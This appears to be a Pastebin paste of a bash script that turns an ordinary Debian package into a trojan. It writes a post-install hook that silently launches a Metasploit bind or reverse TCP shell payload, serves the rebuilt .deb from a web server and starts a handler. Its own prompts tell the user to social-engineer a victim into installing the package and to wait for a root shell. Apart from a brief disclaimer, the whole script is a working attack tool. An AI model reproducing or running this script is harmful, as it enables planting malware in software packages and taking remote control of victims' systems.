Advertisement
Guest User

Untitled

a guest
Feb 1st, 2010
1,539
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.86 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. # bash script to generate a Debian (.deb) package trojan using Metasploit payload
  4. # Author:  Aaron Hine - @redmeat_uk
  5. # Date: 31-01-2010
  6.  
  7. # Disclaimer: this script should be used for educational purposes.  You should obtain permission before running this against an indvidual or company.  
  8. # The author is not liable for any illegal use of this script.
  9.  
  10. scriptname=`basename "$0"`
  11.  
  12.   if [[ $UID -ne 0 ]]; then
  13.      echo "${scriptname} must be run as root"
  14.      exit 1
  15.   fi
  16.  
  17. #
  18. echo
  19. echo "#####################################################################"
  20. echo "Script to generate a Debian package trojan using a Metasploit payload"
  21. echo "#####################################################################"
  22. echo
  23.  
  24. # change these vars to suit your needs
  25. msfdir="/opt/metasploit3/msf3"
  26. tmpdir="/tmp/evildeb"
  27. workdir="$tmpdir/work"
  28.  
  29. # prompt for package name and setup dirs
  30. echo "Please enter the name of the APT package you wish to trojan:"
  31. echo "Use apt-cache search <package> for ideas :)"
  32. echo
  33. read package
  34. apt-get --download-only install $package
  35. echo
  36. mkdir $tmpdir
  37. mkdir $workdir
  38. mv /var/cache/apt/archives/$package* $tmpdir
  39. mkdir $workdir/DEBIAN
  40. dpkg -x $tmpdir/$package* $workdir
  41. apt-cache show $package > $workdir/DEBIAN/control
  42. cat $workdir/DEBIAN/control | sed '/^Original-Maintainer/d' | sed '/^SHA/d' > $workdir/DEBIAN/control2
  43. mv $workdir/DEBIAN/control2 $workdir/DEBIAN/control
  44. echo
  45. echo "Please choose your Metasploit payload"
  46. echo "-------------------------------------"
  47. echo
  48. echo "1. bind tcp"
  49. echo "2. reverse tcp"
  50. echo
  51. echo "press number and hit return:"
  52. read choice
  53.  
  54.  
  55. if [ "$choice" -eq 1 ]; then
  56.         payload="linux/x86/shell/bind_tcp"
  57.                 echo "Enter IP:"
  58.                 read rhostIP
  59.                 echo "Enter port:"
  60.                 read bindport
  61.                 options="RHOST=$rhostIP LPORT=$bindport"
  62. else
  63.         if [ "$choice" -eq 2 ]; then
  64.                 payload="linux/x86/shell/reverse_tcp"
  65.                 echo "Enter IP:"
  66.                 read lhostIP
  67.                 echo "Enter port:"
  68.                 read revport
  69.                 options="LHOST=$lhostIP LPORT=$revport"
  70.         fi
  71. fi
  72.  
  73. echo
  74. echo "Please enter the filename for the Metasploit payload:"
  75. read filename
  76. echo
  77.  
  78. cd $workdir
  79. binary=`find . -executable -type f | grep $package | sed -e 's/^.//'`
  80. trojan="$filename"
  81.  
  82. echo "Making post-install script..."
  83. echo
  84.  
  85. echo "#!/bin/sh" > $workdir/DEBIAN/postinst
  86. echo "" >> $workdir/DEBIAN/postinst
  87. echo "" >> $workdir/DEBIAN/postinst
  88. echo "sudo chmod 2755 $binary$trojan && $binary$trojan & $binary &" >> $workdir/DEBIAN/postinst
  89.  
  90. trojan2=`echo $binary$trojan | sed -e 's/^\///'`
  91.  
  92. echo "Thanks - generating your payload..."
  93. $msfdir/msfpayload $payload $options X > $workdir/$trojan2
  94. echo
  95.  
  96. cd $workdir/DEBIAN
  97. chmod 755 postinst
  98. dpkg-deb --build $workdir
  99. cd $tmpdir
  100.  
  101. echo
  102. echo "Please enter your webroot directory:"
  103. read webroot
  104. mv $tmpdir/work.deb $webroot/$package.deb
  105. rm -rf $tmpdir
  106.  
  107. echo
  108. echo "Trojan'd $package.deb created and placed in $webroot"
  109. echo
  110.  
  111. webserver="python -m SimpleHTTPServer 80"
  112.  
  113. echo "Would you like a Python webserver ? (y/n) :"
  114. read svr
  115. echo
  116.  
  117. if [[ "$svr" == "y" || "$svr" == "Y" ]]; then
  118.         cd $webroot
  119.         $webserver &
  120.         echo
  121.         else
  122.            echo "Fair nuff, setup your own webserver :)"
  123.            echo
  124. fi
  125.  
  126. sleep 1
  127.  
  128. echo "Would you like me to setup a metasploit handler ? (y/n) :"
  129. echo
  130. read handler
  131. echo
  132. echo "In the meantime, social engineer your victim in to browsing to your package"
  133. echo "and get them to install it and wait for your root shell >)"
  134. echo
  135.  
  136. if [[ "$handler" == "y" || "$handler" == "Y" ]]; then
  137.         echo
  138.         $msfdir/msfcli exploit/multi/handler payload=$payload $options E
  139.         else
  140.                 echo "Fair nuff, setup your own handler :)"
  141.                 echo
  142. fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement